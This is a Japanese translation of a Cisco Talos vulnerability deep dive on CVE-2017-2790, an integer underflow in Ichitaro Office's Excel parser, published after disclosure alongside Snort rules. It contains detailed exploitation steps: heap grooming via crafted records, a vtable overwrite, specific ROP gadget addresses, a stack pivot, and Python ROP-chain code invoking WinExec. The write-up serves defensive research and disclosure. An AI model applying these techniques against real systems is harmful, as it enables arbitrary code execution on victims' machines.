Cisco Japan Blog

脆弱性の詳細 – 一太郎オフィスの Excel ファイルのコード実行に関する脆弱性

4 min read



この脆弱性は、Cory Duplantis および Cisco Talos の別のメンバーによって発見されました

概要

文書作成ソフトウェアとオフィス生産性スイートの脆弱性は、脅威アクターの絶好のターゲットとなります。ユーザは、これらのソフトウェア スイートで使用されるファイル タイプを日常的に扱っており、何の疑問もなく電子メール内のそのようなファイルを開いたり、Web サイトからその種のファイルをダウンロードすることが促されたりするかもしれません。

一部の文書作成ソフトウェアは、特定の言語を使用するコミュニティの中で広く使用されているものの、それ以外の場所ではあまり知られていないものがあります。たとえば、韓国では Hancom 社の Hangul Word Processor が広く利用されており、日本および日本語コミュニティでは JustSystems 社の一太郎が広く使用されています。攻撃者はそのような文書作成ソフトウェア システムの脆弱性を悪用して、特定の国や言語コミュニティの被害者を攻撃します。攻撃者は、セキュリティ調査の担当者が、脆弱性悪用の対象となる必要なソフトウェアを持っていないと、これらのシステムの悪用が検出される可能性は低いと考えている可能性もあります。

Hangul Word Processor を悪用する高度な攻撃に関して Talos が最近発見したこと http://gblogs.cisco.com/jp/2017/02/korean-maldoc/ によると、相応に必要な技術スキルのある攻撃者であれば、局所的に利用されるオフィス生産性スイート ソフトウェアをターゲットとした悪意のあるファイルを作成することが可能です。

Talos は、日本で使用されている最も人気のある文書作成ソフトウェアの 1 つである一太郎オフィス スイートで 3 件の脆弱性を発見しました。

一太郎オフィス スイートで発見されたこれら 3 件の脆弱性popup_iconが実際に悪用されたという兆候はまだありません。しかしながら、これら 3 件すべては、任意のコード実行につながる恐れがあります。これらの脆弱性の 1 件を取り上げて、脆弱性がどう悪用されるのか、また calc.exe を例としてリモート コードが実行されるということが何を意味するのか例証します。

この特定の脆弱性についてのアドバイザリは、こちらです:http://www.talosintelligence.com/reports/TALOS-2016-0197popup_icon

詳細 – TALOS-2016-0197(CVE-2017-2790)- JUSTSYSTEMS 一太郎オフィスの Excel ファイルのコード実行の脆弱性

この脆弱性は、一太郎によって処理される xls ファイルのワークブック ストリーム内で、タイプ 0x3c のレコードのサイズについて整数アンダーフローがチェックされていないことから発生します。

アプリケーションは、継続レコード(タイプ 0x3cpopup_icon)の読み取りをしながら、メモリにコピーするために必要なバイト数を計算します。この計算では、ファイル自体から読み取った値から 1 を減算しますが、そこで整数アンダーフローが発生します。

JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4b1e:
44b48cda 8b461e          mov     eax,dword ptr [esi+1Eh] // File data from Continue Record
44b48cdd 668b4802        mov     cx,word ptr [eax+2]     // Size from file (in our case 0)
...
44b48ce4 6649            dec     cx                      // Underflow the 0 to be 0xffff
...
44b48ce8 894d08          mov     dword ptr [ebp+8],ecx   // Store the 0xffff for later use

アンダーフローとなった値は、同じ関数の中で、この後、ファイル データのコピーを処理する関数に渡されます。

JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4b46:
44b48d04 0fb75508        movzx   edx,word ptr [ebp+8]   // Store 0xffff into edx
...
44b48d1f 52              push    edx                    // Push size
44b48d20 51              push    ecx                    // Push destination address 
44b48d21 83c005          add     eax,5
44b48d24 52              push    edx                    // Push size
44b48d25 50              push    eax                    // Push source address
44b48d26 e8c5f7ffff      call    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334 (44b484f0)

メインのコピー関数では、サイズがゼロより大きいことを確認するチェックがなされます。アンダーフロー値はレーダーに引っかからず、すべてのチェックをパスしてしまいます。以下は、コピー関数の中で関連する変数名にコメントを付けたものです。下記の C コードの size と size_ の値として、上記のアセンブリで同じレジスタが push されているため、それらは等しい値になります。

int JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334(int src, int size, int dst, int size_)
{
  int result; 
  result = 0;
  if ( !size_ )
    return size;
  if ( size > size_ )
    return 0;
  if ( size > 0 )
  {
    result = size;
    do
    {
      *dst = *src++;
      ++dst;
      --size;
    }
    while ( size );
  }
  return result;
}

dst のアドレスは、やはり TxO レコード(タイプ 0x1b6popup_icon)の周囲のファイルから得られるサイズの割り振りになります。このサイズを 2 倍したものが malloc に渡されます。

JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4a1c:
442c8bd8 668b470e        mov     ax,word ptr [edi+0Eh] // Size from TxO element
442c8bdc 50              push    eax
442c8bdd e88b87f6ff      call    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1 (4423136d)
JCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1:
4423136d 0fb7442404      movzx   eax,word ptr [esp+4]
44231372 d1e0            shl     eax,1     // Attacker size * 2
44231374 50              push    eax
44231375 ff1580d42f44    call    ds:malloc // Controlled malloc
4423137b 59              pop     ecx
4423137c c3              ret

再現のため、脆弱性により攻撃者に次の構造が提供されます。

* コントロールされた値の 2 倍のサイズのメモリ割り振り
* 割り振られたメモリに、攻撃者のコントロールするファイルからサイズ 0xffff のデータを memcpy

上書きするターゲット

仮に Windows 7 でこの脆弱性を悪用するとすれば、memcopy を利用して何を上書きするでしょうか? 1 つの可能性は、仮想メソッドを使用してオブジェクトの vtable を上書きすることにより、ユーザ制御ポインタを使用してプログラム カウンタを制御できるようにすることです。

これを実現するには、以下のパラメータでオブジェクトを作成する必要があります。

* オブジェクトを予測可能なサイズでヒープ アリーナに割り振る必要がある
* オブジェクトは仮想メソッドを使用し、仮想メソッド テーブル(vtable)がなければならない。
* 上書き実行後、オブジェクトを破壊しなければならない。

xls ファイルは、複数のドキュメント ストリームで構成されており、各ストリームは複数の異なるレコードに区切られています。各レコードは、タイプ/長さ/値(TLV)の構造で記述できます。つまり、各レコードの最初の数バイトでそのタイプを指定し、その後にレコード長、その後にレコード内に含まれるデータを記述するサイズによって指定される数のバイト データを指定します。

これを示す小さな図を次に示します。

+------+--------+------------+
| Type | Length | Value      |
+------+--------+------------+
struct Record {
    uint16_t type;
    uint16_t length;
    byte[length] value;
}

たとえば、値 0xdeadbeef を内容とするタイプ 0x3c のレコードは次のようになります(0xdeadbeef は 4 バイトなので長さは 4)。

+--------+--------+------------+
|Type    | Len    | Value      |
+--------+--------+------------+
| 0x003c | 0x0004 | 0xdeadbeef |
+--------+--------+------------+
<class excel.RecordGeneral>
[0] <instance uint2 'type'> +0x003c (60)
[2] <instance uint2 'length'> +0x0004 (4)
[4] <instance Continue 'data'> "\xad\xde\xeb\xfe"

次にパーサーは、ストリーム内のすべてのレコードについてこれを繰り返し、レコードによって記述されるタイプと値に基づいて各レコードを解析します。ターゲット レコードの 3 番目の制約により、このタイプでは、解析中に vtable を伴うオブジェクトを作成するが、ストリーム全体の解析が終了した後の適当な時点になるまではそのオブジェクトを解放しないようなものとします。

アプリケーションで解析可能なさまざまなレコード タイプについて調べた結果、Rowpopup_icon レコードには、次のような性質があることが分かりました。

* サイズ 0x14 のデータ構造を割り振る
* この要素のオブジェクトには vtable が含まれる
* この要素のオブジェクトは、EOF レコード解析中に、仮想デストラクタ呼び出しにより破壊される。

つまり、攻撃者は、1 つの Row レコードと、メモリを正確にコントロールしてからその Row レコードの vtable を上書きすることになる他のいくつかの特定のレコードが含まれたファイルを作成することができるということです。その後、Row レコードに属する vtable を呼び出す EOF レコードをファイルの末尾に配置できます。

この時点で、前に割り振った Row オブジェクトの直前に TxO レコードからの上書きを配置し、それを使用してその Row オブジェクトの vtable を上書きするという計画です。

攻撃者によりコントロールされた要素を Row レコードの直前に配置するため、Windows 7 の Low-Framentation Heap(低断片化ヒープ)を悪用する必要があります。簡単な説明を以下に示します。

Low-Fragmentation Heap

Windows 7 では PEB との相対関係によりヒープを編成しており、2 つのアロケータの組み合わせが使用されています。1 つはバックエンド、もう 1 つはフロントエンドです。フロントエンド ヒープは、Low-Fragmentation Heap(LFH)と呼ばれるアリーナ ベースのアロケータです。これについては、Low-Fragmentation Heap に関する Chris Valasek 氏の論文の中で詳しく論じられています: http://illmatics.com/Understanding_the_LFH.pdfpopup_icon

LFH の 1 つの重要な特徴は、8 の倍数のチャンクとしてバケットに割り振られることです。ヒープ割り振りがなされると、そのサイズを 8 で除算し、その結果を使用してどのセグメントからチャンクが返されるかが決定されます。セグメントが特定されると、実際には、そのセグメント内のポインタが、そのサイズのチャンクが返される元となるアリーナを指すようになります。したがって、Row オブジェクト(0x14)のために割り振られるスペースは切り上げにより 0x18 のバケットになります。バケット 0x18 には、アリーナ内で 255 スロットが利用可能です。

セグメント

+-------+-------+--------------------------------+-----------+-------+
|  ...  | Arena | AggregateExchg.FreeEntryOffset | BlockSize |  ...  |
+-------+-------+--------------------------------+-----------+-------+
 Arena
+-----------------+-----+-----------+---------+---------+------------+
| Segment Pointer | ... | Signature | Block 1 | Block 2 | Block X... |
+-----------------+-----+-----------+---------+---------+------------+

LFH のもう 1 つの重要な特徴は、ターゲット アプリケーションの割り振りが特定のパターンに従うまでは実際に使用されることがないということです。それが発生するまで、アロケータはバックエンド アロケータを使用します。特定のバケット サイズで確実に LFH ヒープが使用されるようにするには、ターゲット アプリケーションで同じサイズの 0x12(18)割り振りをする必要があります。その場合、そのサイズの割り振りは、常にフロントエンド アロケータを使用して割り振られるようになります。Palettepopup_icon レコードという非常に柔軟性の高いレコードがあり、それを使用することによって、決して解放されることのない任意の割り振りを実行できることが分かりました。バケットのための LFH を有効にするためのステップは、以下のとおりです。

* Palette レコードを使用して、同じサイズの割り振りを 0x12 回割り振る。
* 割り振りを 255 回実行することにより、アロケータが新しいセグメントを割り振るようにする。
(注:255 - 0x12 回の割り振りだけを実行するようにまとめることができる。)

最初にセグメントを割り振った時点で、プラットフォームが、アリーナの中でのオフセットでセグメントを初期化し、それにより、最初に返されるチャンクが決まります。セグメントのためのアリーナが割り振られた時点で、各チャンクには、返される次のヒープ チャンクに対するオフセットを表す 16 ビットのオフセットが事前書き込みされます。割り振りがなされると、アリーナ内の次の空きチャンクの先頭から 16 ビット オフセットが読み取られ、それがセグメント内に保存されます。チャンク内の 16 ビット オフセットもアプリケーションの要求する割り振り対象の一部であるため、それも上書きされます。

アリーナ - 先頭
 
+----------------+--------------------+----------------+----------------+
| Block 1 (Busy) | Block 2 (Free)     | Block 3 (Free) | Block X (Free) |
| Data: ...      | FreeEntryOffset: 3 | FEO: 4         | FEO: X+1       |
+----------------+--------------------+----------------+----------------+

この方法で次の割り振りがなされると、割り振り対象のチャンクの中で、セグメントの FreeEntryOffset がアロケータにより 1 に設定され、その次の割り振りで返す次のチャンクを知ることができるようにします。チャンクを割り振る際、返されるチャンク内のオフセットと、セグメント内にあるオフセットとの間でアトミックのスワップ操作が実行されます。これにより、複数のスレッドが同じセグメント/アリーナからの割り振りを実行する場合に並行実行の問題が回避されます。

    状態 0 - 開始
    次のスロット:3
    現在、ブロック 3 に対するオフセットがセグメントにロードされている
    v 
    +--------------------+--------------------+----------------------+
    | Block 3 (Free)     | Block 4 (Free)     | Block X (Free)       |
    | FreeEntryOffset: 4 | FreeEntryOffset: 5 | FreeEntryOffset: X+1 |
    +--------------------+--------------------+----------------------+
    状態 1 - malloc
    スロット 3 を返す。ブロック 3 からセグメントに FreeEntryOffset をロード。
    次のスロット:4
                     この時点でブロック 4 に対するオフセットがセグメントにロードされる
                     v
    +----------------+--------------------+----------------------+
    | Block 3 (Busy) | Block 4 (Free)     | Block X (Free)       |
    | Data: ...      | FreeEntryOffset: 5 | FreeEntryOffset: X+1 |
    +----------------+--------------------+----------------------+
    状態 2 - malloc
    スロット 4 を返す。ブロック 4 からセグメントに FreeEntryOffset をロード。
    次のスロット:5
                     ブロック 5 に対するオフセットがセグメントにロードされる
                     v
    +----------------+----------------+----------------------+
    | Block 3 (Busy) | Block 4 (Busy) | Block X (Free)       |
    | Data: ...      | Data: ...      | FreeEntryOffset: X+1 |
    +----------------+----------------+----------------------+<

オフセットは、返されるチャンクと同じメモリ領域に書き込まれるため、アプリケーションによってチャンクが使用される際にそれらのオフセットは、そのアプリケーションがチャンクに保存するデータによって上書きされます。それらのオフセットは、割り振りの実行前にアリーナ内の空きチャンク内のキャッシュに入れられるため、これらの値は上書き可能となり、アリーナ内のどの場所にあるチャンクでもアロケータが返す対象となるというトリックが可能になります。アロケータが攻撃者の選ぶスロットを返すようにするため、TxO レコードを使用して、各チャンクに保持されているオフセットが上書きされます。

状態 0 - 開始
次のスロット:4

                    v
+----------------+--------------------+--------------------+
| Block 3 (Busy) | Block 4 (Free)     | Block 5 (Free)     |
|                | FreeEntryOffset: 5 | FreeEntryOffset: 6 |
+----------------+--------------------+--------------------+

状態 1 - TxO レコード
スロット 3 を返す。ブロック 3 からセグメントに FreeEntryOffset(4)をロード。
次のスロット:4
                                    v
+----------------+------------------+--------------------+
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Free)     |
|                | Data: TxO Record | FreeEntryOffset: 6 |
+----------------+------------------+--------------------+

状態 2 - TxO により FreeEntryOffset を上書き
この時点で、次のブロックのための FreeEntryOffset が XXX で上書きされる。
この例では、ブロック 3 を返すために 3 を使用

                                    v
+----------------+------------------+----------------------+
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Free)       |
|                | Data: TxO Record | FreeEntryOffset: XXX |
+                +         -------------------->           |
+----------------+------------------+----------------------+

状態 3 - mallocアロケータが、次のブロックであるブロック 5 を返す。
ブロック 5 の FreeEntryOffset が、次の割り振りのためセグメントにロードされる。 

TxO レコードによりこの値が 3 で上書きされると、ブロック 3 が次のチャンクとして
返されることになる。

v
+----------------+------------------+----------------+
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Busy) |
|                | Data: TxO Record | Data: ...      |
+                +         -------------------->     |
+----------------+------------------+----------------+

状態 4 - mallocブロック 3 を返す。
ブロック 3 内の最初の 16 ビット ワードもセグメント内にロードされる。

+----------------+------------------+----------------+
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Busy) |
|                | Data: TxO Record | Data: ...      |
+----------------+------------------+----------------+

これは、攻撃者にとって、プロセスのタイムラインの早期に割り振られたオブジェクトを上書きするための絶好の状況となります。次の手順を使用することにより、Row オブジェクトの vtable を上書きするために、Row オブジェクトの直前に TxO バッファを配置することができます。

    * TxO レコードを利用して、Row オブジェクトと同じアリーナ内にサイズ 0x18 の割り振りをする。
    * オーバーフローが発生して TxO レコードが FreeEntryOffset を上書きすることになる。
    * Row オブジェクトを割り振る。上書きされた FreeEntryOffset がセグメント内にロードされることになる。
    * 同じサイズの別の TxO レコードを割り振る。これは、Row オブジェクトの直前に配置されることになる。
    * オーバーフローが発生して、TxO レコードは Row オブジェクトを含むチャンク内に入れられ、それにより vtable がコントロールされることになる。

これが発生した後に最後の EOF レコードを解析すると、Row オブジェクトの vtable が参照解除され、Row オブジェクトのデストラクタが呼び出されます。

    0:000> r

    eax=deadbeeb ebx=ffffffff ecx=045d7d88 edx=0000ffff esi=00127040 edi=00000000
    eip=3f7205c7 esp=00126fdc ebp=00127028 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    JCXCALC!JCXCCALC_Jsfc_ExConvert+0x9c40b:
    3f7205c7 ff5004          call    dword ptr [eax+4]    ds:0023:deadbeef=????????
    0:000> .logclose
    0:000> dc ecx
    045d7d88  deadbeeb 64646464 64646464 64646464  dddddddddddddddd
    045d7d98  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7da8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7db8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7dc8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7dd8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7de8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7df8  64646464 64646464 64646464 64646464  dddddddddddddddd

ここで攻撃者は、呼び出された関数ポインタをコントロールすることになります。

コード実行

クラッシュ時の状況を見ると、攻撃者は呼び出されたポインタを制御しており、ecx の内容は攻撃者のコントロールするバッファを指しています。コード実行を実現するには、スタック ピボット検索のため、若干の ROP ガジェット検索が発生しなければなりません。目標は、攻撃者が EIP をコントロールすると共に、スタックが攻撃者のコントロールするデータを指すようにすることです。幸い、以下のモジュールが ASLR による影響を受けないままプロセス スペース内にあります。

 0:000> !py mona mod -cm aslr=false
--------------------------------------------------
Module info :
--------------------------------------------------
Base       || Size       | ASLR  | Modulename,Path
--------------------------------------------------
0x5f800000 || 0x000b1000 | False | [JSFC.DLL]
0x026b0000 || 0x00007000 | False | [jsvdex.dll]
0x27080000 || 0x000e1000 | False | [JSCTRL.DLL]
0x3f680000 || 0x00103000 | False | [JCXCALC.DLL]
0x22150000 || 0x00018000 | False | [JSMACROS.DLL]
0x003b0000 || 0x00008000 | False | [JSCRT40.dll]
0x61000000 || 0x0013b000 | False | [JSAPRUN.DLL]
0x3c7c0000 || 0x01611000 | False | [T26com.DLL]
0x23c60000 || 0x00024000 | False | [JSDFMT.dll]
0x03ad0000 || 0x0000b000 | False | [JSTqFTbl.dll]
0x40030000 || 0x0002c000 | False | [JSFMLE.dll]
0x21480000 || 0x00082000 | False | [jsgci.dll]
0x02430000 || 0x00008000 | False | [JSSPLEX.DLL]
0x43ab0000 || 0x003af000 | False | [T26STAT.DLL]
0x217b0000 || 0x0001b000 | False | [JSDOC.dll]
0x22380000 || 0x0007a000 | False | [JSFORM.OCX]
0x211a0000 || 0x00049000 | False | [JSTDLIB.DLL]
0x21e50000 || 0x0002c000 | False | [JSPRMN.dll]
0x02a80000 || 0x0000e000 | False | [jsvdex2.dll]
0x277a0000 || 0x00086000 | False | [jsvda.dll]
0x61200000 || 0x000c6000 | False | [JSHIVW2.dll]
0x49760000 || 0x00009000 | False | [Jsfolder.dll]
0x210f0000 || 0x000a1000 | False | [JSPRE.dll]
0x213e0000 || 0x00022000 | False | [jsmisc32.dll]

言うまでもなく、これらのモジュールには利用可能な ROP ガジェットが豊富にあります。唯一の問題は、vtable エントリがポインタであるため、攻撃者が ROP ガジェットを直接呼び出すことができない点です。ROP ガジェットのリストを作成した後、全モジュールに検索をかけて、いずれかのモジュールに ROP ガジェット アドレスのいずれかが出現するかどうかを調べる、つまり見つかった ROP ガジェットへのポインタを探すことが必要です。ここでも幸い、次のガジェットが現れます。

    
file:JSFC.DLL
JSFC.DLL.gadgets.40
Gadget:0x5f8170bc : sub esp, 4
                    push ebx
                    push esi
                    mov eax, dword ptr [ecx + 0xa0]
                    push edi
                    push ebp
                    mov esi, ecx
                    test eax, eax
                    je 0x5f8170ee
                    push esi
                    call eax
Simplified
file:JSFC.DLL
gadget:0x5f8170bc : mov eax, dword ptr [ecx + 0xa0] ;
                    mov esi, ecx 
                    call eax

このガジェットにより、ポインタを攻撃者のコントロールするバッファから参照解除し、それを直接呼び出すことにより、直接ガジェットを呼び出すことが可能になります。最初のガジェットの副効用として、esi と ecx が攻撃者のコントロール下にある同じバッファを指しています。次のガジェットにより、フル スタック ピボットが実現されます。

    
JSFC.DLL.gadgets.40
gadget:0x5f83636e : or bh, bh
                    push esi
                    pop esp
                    mov eax, edi
                    pop edi
                    pop esi
                    pop ebp
                    ret 0x1c
]Simplified
file:JSFC.DLL
26051:0x5f83636e :  push esi
                    pop esp
                    ret 0x1c

これで攻撃者は EIP とスタックを完全にコントロールできるようになり、適当な ROP チェーンを構築できるようになります。

    0:000> r
    eax=00000000 ebx=ffffffff ecx=04559138 edx=0000ffff esi=62626262 edi=5f86ecc8
    eip=deadbeef esp=0455926c ebp=62626262 iopl=0         nv up ei ng nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
    deadbeef ??              ???
    0:000> dc esp
    0455926c  61616161 61616162 61616163 61616164  aaaabaaacaaadaaa
    0455927c  61616165 61616166 61616167 61616168  eaaafaaagaaahaaa
    0455928c  61616169 6161616a 6161616b 6161616c  iaaajaaakaaalaaa
    0455929c  6161616d 6161616e 6161616f 61616170  maaanaaaoaaapaaa
    045592ac  61616171 61616172 61616173 61616174  qaaaraaasaaataaa
    045592bc  61616175 61616176 61616177 61616178  uaaavaaawaaaxaaa
    045592cc  61616179 6261617a 62616162 62616163  yaaazaabbaabcaab
    045592dc  62616164 62616165 62616166 62616167  daabeaabfaabgaab

この時点で、いずれかの DLL のインポート テーブルから ntdll への入り口を探せば、攻撃者は WinExec を取得することができます。ntdll から Kernel32 へのオフセットを取得できます。Kernel32 から、WinExec へのオフセットを取得し、直接コマンドを実行できます。または…

    $ r2 -q -c 'ii~WinExec' T26COM.DLL
    ordinal=110 plt=0x3d46c47c bind=NONE type=FUNC name=KERNEL32.dll_WinExec

…WinExec は DLL の 1 つによりすでにインポートされており、攻撃者は単にそのアドレスを使用することができます。ストリング calc.exe をメモリに落とすための単純な ROP チェーンがコンパイルされ、WinExec ポインタに渡されます。

    command = ['calc', '.exe', '\0\0\0\0']
    for i,substr in enumerate(command):
        payload += pop_ecx_ret_8                # pop ecx; ret 8
        payload += p32(writable_addr + (i*4))   # Buffer to write the command
        payload += pop_eax_ret                  # pop eax; ret
        payload += p32(0xdeadbeec)              # eaten by ret 8
        payload += p32(0xdeadbeed)              # eaten by ret 8
        payload += substr                       # Current four bytes to write
        payload += write_mem                    # mov dword [ecx], eax; xor eax, eax; ret

コマンド ストリングがメモリ内に作成されると、WinExec ポインタを参照解除し、バッファでそれを呼び出すことにより、望みどおりのコマンドが実行されます。

    # Deref WinExec import
    payload += pop_edi_esi_ebx_ret
    payload += p32(winexec-0x64)    # pop edi (offset due to [edi + 0x64])
    payload += p32(0xdeadbeee)      # eaten by pop esi
    payload += p32(0xdeadbeef)      # eaten by pop ebx
    # Call WinExec with buffer pointing to calc.exe
    payload += deref_edi_call       # mov esi, dword [edi + 0x64]; call esi
    payload += p32(writable_addr)   # Buffer with command
    payload += p32(1)               # Display the calc (0 will hide the command output)

次のビデオに示されている悪用は、Windows 7 で動作する一太郎、2016 v0.3.2612 で行われたものです。

まとめ

特定のファイル形式で提供されるサイズ値が 0 より大きいことを確認するチェックをアプリケーションでしていないというレポートは、一見、脆弱性というよりもバグのように思えるかもしれません。この記事により、プログラムでほんのちょっとしたロジックを省略したのを、悪意のある開発者が悪用し、武器を仕込んだファイルを作成して被害者のシステム上で任意のコードを実行することへとつながる可能性があるということが知っていただければと願っています。

このような脆弱性の性質、そしてそれが攻撃者にとって格好の標的となることを考えると、システムにパッチを当てて最新の状態に保つことは非常に重要です。また、それゆえに Talos では、どんな脆弱性を発見した場合も、その詳細を公開する前に、必ずその脆弱性の検出機能を開発してリリースするようにしています。

Talos では、常に悪意のある攻撃者よりも先にソフトウェアの脆弱性を検出し、当社の任務として脆弱性開示ポリシーに準拠してベンダー様と連携していくことにより、上記に示すような悪用手段によりシステムのセキュリティ破綻を防いでいく所存です。

Snort ルール: 40125 – 40126、41703 – 41704

 

 

本稿は 2017年2月16日に Talos Grouppopup_icon のブログに投稿された「Vulnerability Deep Dive – Ichitaro Office Excel File Code Execution Vulnerabilitypopup_icon」の抄訳です。

 

コメントを書く